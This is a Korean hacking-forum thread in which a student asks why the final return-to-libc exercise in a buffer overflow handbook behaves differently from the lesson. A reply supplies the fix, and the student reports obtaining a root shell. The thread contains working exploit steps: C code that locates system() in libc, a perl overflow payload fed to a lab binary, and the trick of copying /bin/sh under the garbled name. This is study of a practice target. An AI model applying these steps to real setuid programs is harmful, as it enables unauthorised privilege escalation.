시스템 해킹

 1576, 1/79 회원가입  로그인  
   ygw0225
   BOF핸드북 마지막실습문제 질문..

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1725 [복사]


사실 저와같이 질문한 글이 있길래봤는데 답변이 무슨말인지 몰라서
같은 질문드립니다.

핸드북의 강좌과정과 다르게 나와 현재 막힌상태입니다 ㅠㅠ
--------------------------------------------------

[student@localhost chapter_21]$ /bin/bash2

--------------------------------------------------

--------------------------------------------------

[student@localhost chapter_21]$ export PATH=$PATH:.

--------------------------------------------------

-------------------------------------------------------------

[student@localhost chapter_21]$ cat > addr_of_system.c
#include <dlfcn.h>

int main()
{
   long addr;
   void *handle;

   handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
   addr = (long)dlsym(handle, "system");
   printf("system() is at 0x%x\n", addr);

}
(컨트럴+D 입력)
[student@localhost chapter_21]$
[student@localhost chapter_21]$ gcc -o ./addr_of_system addr_of_system.c -lc -ldl
[student@localhost chapter_21]$ ./addr_of_system
system() is at 0x40058ae0
[student@localhost chapter_21]$

--------------------------------------------------------------

-> system의 주소를 알아낸 뒤
----------------------------------------------------------------------------------------------------------

[student@localhost chapter_21]$ ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'`
your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@
sh: ?풠?? command not found
Segmentation fault
[student@localhost chapter_21]$

----------------------------------------------------------------------------------------------------------

위에 명령을 쳤을때 강좌에서는 위 처럼 뜨는데 반해 저는 아래와같은 문구가 뜹니다.

your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(이상한 문자)
sh: syntax error near unexpercted token '(이상한문자)'
sh: -c: line 1: '(이상한문자)'
Segmentation fault

어떻게 해야 강좌처럼 될 까요?

  Hit : 4196     Date : 2014/01/08 01:34



    
cd80 ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` > ./asdfasdf 하신다음에
xxd ./asdfasdf 에서 말씀하신 이상한문자의 헥스열을 찾으신다음에
cp /bin/sh $(perl -e 'print "\x~~\x~~\x~~"') 이런식으로 /bin/sh를 그 이상한문자로 복사하신다음에
export .:$PATH 하시고 다시
./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'`
해보세요
2014/01/08  
ygw0225 와우 감사합니다! 말씀하신대로 하고나서 root쉘을 획득하게 되었습니다.
그런데 제가 완벽하게 이해를 하지못하였습니다; 질문 몇가지드리겠습니다.

1. 위댓글로 말씀해주신 해결책을 똑같이 하였는데요 말씀하신대로 하고나서 다섯번째줄(위댓글에서)
./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` 입력하면 바로 root쉘을 획득하게 되는건가요
아니면 syntax error 를 sh: ?풠?? command not found 로 강좌에서처럼 나오게 하기위한 과정인가요?
말씀하신대로 따라하고나니 sh: ?풠?? command not found 로 나와서 system()사이에 헥스열을 확인해서
링크파일을 만들어 연결시켜 확인을했습니다...결국 같은것을 반복해야 하는건가요?

2. ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` > ./asdfasdf 이렇게 할경우 파일은 만들어지는데
xxd asdfasdf 하면 아무것도 안뜹니다 2>asdfasdf .. 그러니까 2를 앞에 붙여야 xxd로 할때 제대로 보이더군요 무슨차이가있는거죠?

3. ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` 에서 x84와 "\xe...사이에있는 . (점) 이게 무슨의미이죠?
2014/01/08  
cd80 1.
첫번째 ./vuln ~~~~ 은 sh: ?풠?? command not found가 포함된 에러메세지를 asdfasdf에 넣는 명령이고
이 sh: 와 command 사이에 있는 깨진 문자가 실제로 system()함수의 인자로 들어가 프로그램명으로 실행하려다 실패한 문자열입니다
따라서 실제로 이 문자열로 프로그램을 만들어 실행할수 있도록 합니다

사용하고 계신 방법으로 공격할땐 같은 과정을 반복해야 합니다
지금 사용하고 계신 기법을 RTL이라고 하는데
https://research.hackerschool.org:8080/Datas/Research_Lecture/[6%C2%F7]_Return_to_Lib_%B1%E2%B9%FD_%C0%CC%C7%D8%C7%CF%B1%E2.txt
이문서나 구글에 "rtl 공격" 이라고 검색하시면 나오는 문서나 글들을 보시면서 공부하시면 좋습니다
https://research.hackerschool.org:8080/Html/WG_Documents.html
여기에 시스템해킹 관련문서가 많으니 참고하세요~

2.
아 2>를 한건 stderr를 리다이렉션하기 위해서 였습니다
리눅스에서 fd 세개가 정해진용도로 쓰이는데
0은 stdin, 1은 stdout, 2는 stderr입니다
에러메세지에 프로그램명이 있으니 stderr를 리다이렉션 해야합ㄴ디ㅏ

3. 점은 잘못썼네요 ㅋㅋ 점으로도 되긴 하는데
문자열 두개를 이어주는 문법입니다
쉼표로도 되고 점으로도 됩니다
2014/01/11  
ygw0225 cd80님!//정말감사합니다...차근차근 하나씩 배우려고하는데, 역시 쉽진않네요^^; 2014/01/11